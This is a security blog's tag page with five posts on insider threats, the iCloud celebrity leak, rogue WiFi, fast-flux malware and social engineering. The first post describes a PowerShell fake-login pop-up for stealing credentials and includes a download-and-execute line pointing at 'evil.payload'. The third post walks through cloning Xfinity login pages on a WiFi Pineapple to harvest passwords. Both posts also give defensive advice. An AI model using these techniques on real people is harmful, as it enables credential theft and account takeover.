Posts tagged: 'information security'

The following posts are associated with the tag you have selected. You may subscribe to the RSS feed for this tag to receive future updates relevant to the topic(s) of your interest.

Do You Trust Your Computer?

These past couple weeks have been a blur. I had the opportunity to attend and speak at both AppSecUSA and DerbyCon and can not say enough good things about these conferences. There were so many excellent talks and activities that it’s hard to pinpoint any one highlight due to the sheer number of talented folks in attendance.

Instead, I’d like to discuss some of the topics regarding insider threats, pivoting, and gaining access to plain text credentials once inside an organization. There are many tactics that attackers will use to avoid detection while ransacking a company from the inside-out. Many of the talks this year focused on Windows and PowerShell. Just a few of my favorites were Et Tu Kerberos by @obscuresec, Abusing Active Directory in Post-Exploitation by @Carlos_Perez, PowerShell MITM by @subTee, Passing the Torch by @harmj0y and @davidpmcguire, among many others. This topic is interesting because the focus is centered around built-in Windows functionality as opposed to tools and exploits. You really should watch the talks to understand the full impact of the concepts presented.

AppSecUSA and DerbyCon

AppSecUSA + DerbyCon

However, I am not going to talk about getting shells or pivoting in this post… Instead, I want to look into other abuses of functionality that are possible in the enterprise. One of my favorite attack vectors is imitating a legitimate service, program, etc. and using this to gain privileged access to resources. This approach has great potential in an enterprise environment and is only limited by the adversaries creativity…

While attending @FuzzyNop‘s DerbyCon talk, he mentioned some neat ways to set up a C&C using twitter along with some other useful tricks. However, he showed the crowd one thing that I hadn’t seen before. A really useful OSX one-liner that simply pops-up a prompt asking for your password, masquerading as though it originated from a legitimate application. This is very easy to execute on remote hosts via SSH and makes my old pranks using the ‘say’ command look pretty lame.

OSX Password Prompt Pop Up

OSX Password Prompt Pop Up

After playing around with the OSX command in the office, I wanted to do the same thing in Windows. So, I put together a short PowerShell script… It basically pops-up a ‘Layer 8 Error’ alert box that notifies the user that ‘there was an issue with their account,’ followed by a login prompt.

PowerShell Pop Up Pwn

PowerShell Pop Up Pwn

The nice thing with PowerShell, aside from PowerSploit of course, is that you can easily execute PowerShell on just about any modern Windows host. Not to mention that you don’t even need to move any files to the target. Also, I was able to tie in to the existing PromptForCredential() function and pass input received through ConvertFrom-SecureString to convert the credentials entered to plain text. Depending on the environmental restrictions in place, you can use WMIPSRemoting, PSExec, meterpreter, or my favorite avenue is hosting the file somewhere and pulling it down to the target:

IEX (New-Object Net.WebClient).DownloadString(‘hxxp://evil.payload/ppwn.ps1’)

If you already have a meterpreter session, you can use the exec_powershell post exploitation module to launch the script on the host.

Meterpreter PowerShell_Exec

Metasploit PowerShell_Exec Post Exploitation

After obtaining administrative rights on the host, you can target other users by migrating to a process owned by that user and launching the PowerShell script. Please note, this can be hit-or-miss depending on the process you target.

targeting other users

Targeting Specific Users

If the user attempts to just close out the dialog box or the captured credentials don’t work, you can re-run it as many times as necessary by calling the ppwn() function. Eventually they’ll fill it out just to make it go away…

PowerShell Script Reuse

PowerShell Script Reuse

This is just a simple proof of concept that demonstrates one of the many ways to steal plain text credentials using a ‘trusted dialog box.’ If you’re interested in playing with this script, it can be downloaded at the link below. Feel free to reach out if you have any recommendations for my very poorly coded PowerShell script or similar tricks to share.

There are many other ways to pull off this same attack, along with various methods that do not require any user interaction whatsoever. The point is that these are simple techniques and adversaries have unlimited avenues regardless of the environment variables and operating systems they are targeting. In short, any service or application that you use regularly can be cloned and used against you. They will get in, the trick is finding them once they are inside…

you’re doing it wrong

Defending is much more difficult than attacking in general. However, there are many steps you can take to detect attacks such as this. Primarily, services such as SSH and PowerShell Remoting should be disabled or limited to specific users on desktops unless there is valid business justification to enable such functionality. Along with disabling risky services, understanding your network architecture and most importantly – log data, is absolutely critical when it comes to monitoring the network. Taking precautions to protect clients using a content filtering Web proxy with SSL inspection capabilities and implementing proper network segmentation are additional defensive layers that make life more difficult for the attacker. If you know where your systems are and understand their expected behavior, you can tune out a significant amount of the ‘noise’ and focus on the unknown unknowns – often referred to as insider threats.

So… Do you still trust your own computer?

Tags: , , , , , , ,

none | Security


Weak Celebrity Passwords

Last weekend, a significant number of celebrities had their private photos and videos exposed to the internet in the largest celebrity data leak to date. Initial speculation led people to believe that their iCloud accounts were the primary targets. If this is indeed the case, there is a popular theory behind this ‘hack’.

This may have been the result of a brute-force attack against each account using select passwords from the ever popular rockyou password list in conjunction with the ibrute script written by @hackappcom. This python script essentially bypasses the AppleID lock feature of the Find My iPhone application. In an article published by Wired, once the password was successfully brute-forced, the Elcomsoft Phone Password Breaker (EPPB) tool was used to download this data from iCloud backups. This is due to the fact that EPPB allows anyone to impersonate the victim’s iPhone and download the full backup.

If this was indeed the source, it is a result of an amalgamation of the fact that Find My iPhone did not implement adequate brute force protection, these celebrities picked some really weak passwords, and did not implement Apple’s two-factor authentication.

Another aspect to consider is that the culprits gained access to much more than pictures and videos, such as address books and other sensitive data that is all available via iCloud. More importantly, with many organizations adopting iPhones and Androids in the workplace, attacks such as this increase the ever expanding possibility of corporate data loss. One obvious risk with the release of these pictures is that location data, included in the image Exif metadata gives away the locations where the pictures were taken (warning NSFW link).


All things considered, it is unlikely that only one avenue was taken to obtain all of this data. More importantly, just because everything was dumped on the internet at the same time and that a majority of the photos were taken with an iPhone does not at all mean that it was all stolen at the same time or even by the same person. I assume a team with a common goal was behind this, and they used many different means to obtain this data.

Apple released a statement on the leak:

“When we learned of the theft, we were outraged and immediately mobilized Apple’s engineers to discover the source,” they said. “After more than 40 hours of investigation, we have discovered that certain celebrity accounts were compromised by a very targeted attack on user names, passwords and security questions, a practice that has become all too common on the Internet. None of the cases we have investigated has resulted from any breach in any of Apple’s systems including iCloud or Find my iPhone. We are continuing to work with law enforcement to help identify the criminals involved.”

Granted, Apple did fix the Find My iPhone specific vulnerability shortly after discovery, which is very good, but a glaring hole like this should not have made it past QA. The funny thing is, this could have been avoided entirely if the vulnerability was disclosed to Apple prior to its public release. However, researchers may have been more encouraged to share this information with Apple, had they instituted a bug bounty program. Could all this stolen data be from iCloud? Maybe. Could it have been extracted in the same manner? Certainly, but not likely in my opinion. My guess is that good old fashioned social engineering played a part in obtaining access to some accounts.

In the wake of this recent leak, there are a few lessons that we can all take away from this to help better protect our own cloud data, taking into account the many methods by which it can be obtained:

  1. Whenever possible, implement multifactor authentication. Apple has a two-step verification feature which will assist with this.
    1. Nick DePetrillo put together a great step-by-step guide to walk people through configuring this feature and explaining the benefits of two factor authentication.
  2. If multifactor authentication is not an option, question the sensitivity of the data you are storing on the service and do not store it in the cloud if you are worried about someone else getting ahold of it.
  3. Use strong and unique passwords for every site.
  4. Use pass phrases instead of passwords.
  5. Use a password manager to store, manage, and create strong + unique passwords for each site that you use.

None of these security recommendations are in any way new or at all difficult to implement. The problem is that too few people follow these basic guidelines and continue to use the same weak passwords for all of their online activities, resulting in the theft of sensitive data. Do not rely on companies to protect your information, take your own precautions and educate yourself on the risks.

Tags: , , , , , , ,

none | Digital ForensicsSecurity


Xfinity Pineapple

Notice – LogRhythm nor the author of this blog post are liable for any illegal activities conducted with this information. LogRhythm does not condone or support such activity, this post is simply a proof-of-concept to explore the risks of open wireless access points.

Open wireless access points have always been a hot topic within the security community. Due to their nature, there are a plethora of attacks that allow hackers to breach these networks, mirror legitimate access points, man-in-the-middle traffic and much more. These attacks are conducted every day on many networks all over the planet. Hackers will leverage anything from the Wireless network at your local Starbucks, the airport, airplanes, hotel chains, personal guest networks, and more to steal personal information. You name it, someone out there has found a new way to exploit it. Still trust those pay-as-you-go WiFi hot spots that ask you to supply credit card information?

Which brings us to Comcast… They have been steadily implementing their plan to leverage their customers Comcast access points (only those owned by Comcast, not personal equipment) to distribute wireless access to any Comcast subscriber that happens to be in the vicinity.

“Comcast’s newest Wireless Gateway broadcasts two WiFi signals. By default, one is securely configured for the private use of the home subscriber. The second is a neighborhood “xfinitywifi” network signal that can be shared. This creates an extension of the Xfinity WiFi network and will allow visiting Xfinity Internet subscribers to sign in and connect using their own usernames and passwords.”

All you need to do is locate a nearby access point, log in using your Comcast credentials and start browsing the net through someone’s home router. There is a bit of controversy over this feature — however this is beside the point. What I’d like to talk about today is how hackers can leverage this vulnerability feature for evil and why consumers should be wary of using open wireless access points in general.

To help illustrate this risk, I’ll be using the WiFi Pineapple — a great little device by the folks at Hak5 that most security professionals are familiar with. The Pineapple comes equipped with a myriad of tools to help trick clients into passing their traffic through this access point so that it can be sniffed, altered, modified, or worse. For our specific attack, we’ll be imitating an Xfinity WiFi access point and using this to steal users Comcast account credentials among other nefarious activities.

First, we need to obtain the code served up by one of these access points, learn how it works, and build our own version. Xfinity access points are popping up everywhere, so finding one is incredibly easy.

Figure 1: hot spot map

Figure 1: Xfinity Hot Spot Map

Upon finding an access point without even leaving my neighborhood, I cloned the code from the landing page, modified the HTML and added my own form processors to create two identical versions of the Comcast (standard and web) splash pages. This code can be downloaded here:

From here, this code can either be uploaded to the Pineapple or stored on a separate (internet-accessible) server if you’ve run out of free space on the Pineapple. For this walk through, we will host the code on the Pineapple itself. To keep this seperate from the other Pineapple tools, SSH into the Pineapple and make a new directory in the /www/ folder, we’ll call this folder ‘x‘.

Figure 2: New Folder

Figure 2: New Folder

Within the github repository, there are two landing page options. One is the default web landing page (login-page-option1) and the other is the default mobile landing page (login-page-option2). Either one will work or you can get creative and adjust the page displayed based on User Agent Strings.

Figure 3: Landing Page Options

Figure 3: Landing Page Options

With the folder in place, SCP the code from the xfinity-pineapple/login-page-option(1|2)/ directory to the new folder.

Figure 4: Upload the code

Figure 4: Upload the Code

With the authentication page in place, we need to change the name of our access point to ‘xfinitywifi’ to mimic the legitimate Xfinity access point. This can be accomplished under the Karma Configuration menu.

Figure 5: Karma Configuration

Figure 5: Karma Configuration

Next, you will need to configure a redirect and force the user to log in. There are multiple ways to do this. The simplest option is to use the Pineapple DNSSpoof Infusion. This method will look for common keywords entered by the victim in the URI and redirect them to the Xfinity landing page. Going this route, they are more likely to catch on that something is up, especially when attempting to visit Google and it keeps redirecting them back to the Xfinity landing page…

Figure 6: DNSSPoof

Figure 6: DNSSpoof

The second and more believable option is to go with a captive portal. This allows you to pass the users through a splash page that you configure and force them to ‘authenticate’ before accessing the internet. Once the victim has ‘logged in’ successfully, they may now browse the internet. To accomplish this, you will need to install and enable the Evil Portal Pineapple Infusion.

Figure 7: Evil Portal Install

Figure 7: Evil Portal Install

Once the Evil Portal has been installed, open the module configuration page and follow the steps exactly as they are listed. Once you have installed the dependencies, made configuration changes, and tested to be sure that the splash page works, modify the /etc/nodogsplash/htdocs/splash.html page to reflect a false Xfinity portal. An example configuration page has been included within the Xfinity Pineapple Github repository and the splash page can be updated either through the Pineapple interface or via SSH. You may want to back up the original splash.html page at this point.

Figure 8: Evil Splash page

Figure 8: Evil Splash Page

With the evil splash page configured to push users to the ‘authentication portal’ upon joining the access point, launch NodogSplash from the Pineapple interface and be sure to click ‘Start Once’ as this interface does have a tendency to hang. If it does hang, SSH to the Pineapple and run: killall nodogsplash.

Figure 9: NodogSplash Configuration

Figure 9: NodogSplash Configuration

With the configuration up and ready for users to connect through your access point, enable the wireless service on the Pineapple and verify that you show a newly available access point, ‘xfinitysifi’. Now sit back and watch as users join your access point and enter their Xfinity account credentials, which will be stored in the auth.log file. With these credentials, someone of lesser morals could use these to conduct illegal activities and have them traced back to the owner of the Comcast account. Not only that, but once the victim is browsing through the Pineapple, this is only the beginning…

Figure 10: Tail auth.log

Figure 10: Tail auth.log

You’ll notice that this file logs two password attempts, this is because the landing pages are configured to always fail the first attempt and act as though the second attempt was valid and pass them through to the internet. This was done on purpose to catch multiple authentication attempts in the event they miss-type them during one of the entries.

For bonus points, try setting up an evil Kali Linux access point using a Raspberry Pi for an even greater range of attacks when users connect. Depending on your home router’s configuration, you may even be able to set up a separate guest network as a false ‘xfinitywifi’ hotspot.

Figure 11: False Xfinitywifi DDWRT guest network configuration

Figure 11: False xfinitywifi DDWRT Guest Network Configuration

None of what we talked about here applies explicitly to Comcast, this can be done on any public access point, though stealing Comcast credentials does have the added advantage of providing attackers with credentials they can later use to mask their online activity. For this reason, users should take steps to protect themselves and be cautious when using these networks.

  • First and foremost, Comcast customers can disable this feature if they are so inclined.
  • If you have connected to an Xfinity access point in the past, you will pre-authenticate to any Xfinity access point going forward, this includes a masquerading Pineapple. This will not expose your credentials, but all your traffic will be passed through a potentially hostile access point.
  • When not using WiFi on your phone / laptop / tablet, disable it, especially when in crowded areas such as an airport.
  • When joining one of these access points, try to verify that one really does exist in this area using the Xfinity WiFi app on iOS/Android or by reviewing their Access Point Map.
  • Real Xfinity access points will redirect you to to authenticate, though this could also be fudged by an attacker using DNS Spoofing so it is not a dead giveaway. The real identifier here is that the legitimate landing page is using SSL and has a valid certificate. This can be spoofed as well, but is much harder.
  • When connecting to any open Wireless network, use a VPN service to encrypt your traffic.

Then again, you can always just ask someone for their Comcast credentials…

Figure 12: I can haz ur password?!

Figure 12: I can haz ur password?!

Tags: , , , , , , ,

none | SecurityUncategorized


Connecting the Dots

This year I was fortunate enough to be able to attend the Black Hat 2013 conference in Las Vegas. The opening keynote by General Alexander set the mood for what I think will be a common trend throughout the rest of conference this year, connecting the dots.  It was a heckle filled talk that left the General unfazed while he kept restating in different ways how we need to “connect the dots” across different dimensions of information to keep our country safe and failing to do so… essentially, will allow the bad guys to win.

Being able to efficiently and accurately connect the dots is the Holy Grail in all domains of security, including information/network security. From the talks I’ve attended in just one day, it’s obvious that there are a lot of bright people and companies out there in the malware community who are studying, reverse engineering and coming up with ingenious ways to identify malware. It always fascinates me to see how clever malware can be and the various tricks they employ. For instance, fast flux domain switching. This isn’t a new technique but has been widely utilized for a variety of criminal enterprises. Enterprises akin to malware delivery, spamming, phishing schemes, and to other activities leading to even darker criminal intentions. It’s an efficient way to utilize a botnet by having numerous DNS A records associated with a single FQDN. Then the key step is to swap out these IPs every 5 minutes or so without changing the domain name. This technique is only becoming easier to implement as time goes on with competing hosting sites practically giving away domains for just 99 cents.

The good news is that the detection of malware employing the use of fast flux domain switching exists. It has existed for a while. It just requires the collection, storage, and normalization of webserver and DNS logs – not to mention efficient lookup & dot connecting capabilities on that data. You hear this a lot, but I think it bears repeating. The amount of data floating around out there is beyond non-trivial, it’s overwhelming. Being able to leverage advanced intelligence techniques on key meta data fields is the fundamental step in being able to connect the dots required for the identification of advanced malicious threats.

Tags: , , ,

none | GeneralSecurity


The Hazards of Public Displays of Affection

In my last blog I talked about the fact that many users were increasingly diligent about personal security.  Many users do, in fact, do all the right things with relation to their online identities.  Many, but not all.

I was on a train recently, heading to customer meetings.  I would only have paid cursory attention to the couple standing in the aisle had it not been for one small detail.  While the man was clearly very enamoured with his partner and was demonstrating it, the woman looked ready to commit murder.  Specifically HIS murder.  The visible deficit in their respective levels of engagement amused me, but on second glance, I was interested to see another detail.

The woman’s work identity badge was clearly on show.  Her employer was a major bank. The woman had a very common surname, but a distinctive first name.  We’ll call her Mrs P.  As I was online at the time, I jumped out to LinkedIn.  No profile for that name at that employer.  Facebook was a different story.  There she was, with a completely open profile.  All it took was a couple of clicks to ascertain her husband’s name, her home town, the names of some of her family and the fact that she had a pair of terriers called Fred and Ginger.

OK, so the names have been changed to protect the guilty, but the highlights are true.  Role playing for a second, I’m a criminally inclined social engineer who rides the commuter lines looking for clues like these.  All it takes is a couple of calls to some colleagues and Mrs P receives a call threatening Mr P and the dogs, and all of a sudden a vector has opened up into one of the largest banks in the world.  This is the thing about Social Engineering.  A vector is a vector – whatever intelligence you can gather about a possible target is, literally, gold.  The manipulation of human factors involved in corporate operations remains the single easiest thing for a criminal to do in order to make money from YOUR company.  Even if Mrs P’s blissful unawareness of the risk she has created doesn’t result in tangible losses, I would certainly never bank with this organisation, because they have no pervasive culture of security.

Which brings me to my final point. Security is cultural.  Let me say that again.  Security is cultural.  Unless you’re absolutely aligning the use of enterprise class tools to support your security professionals with regular training to people like Mrs P., on how she’s putting her company and her personal life at risk, then you’re nowhere.

Tags: , , ,

0 Comments | ComplianceSecuritySIEM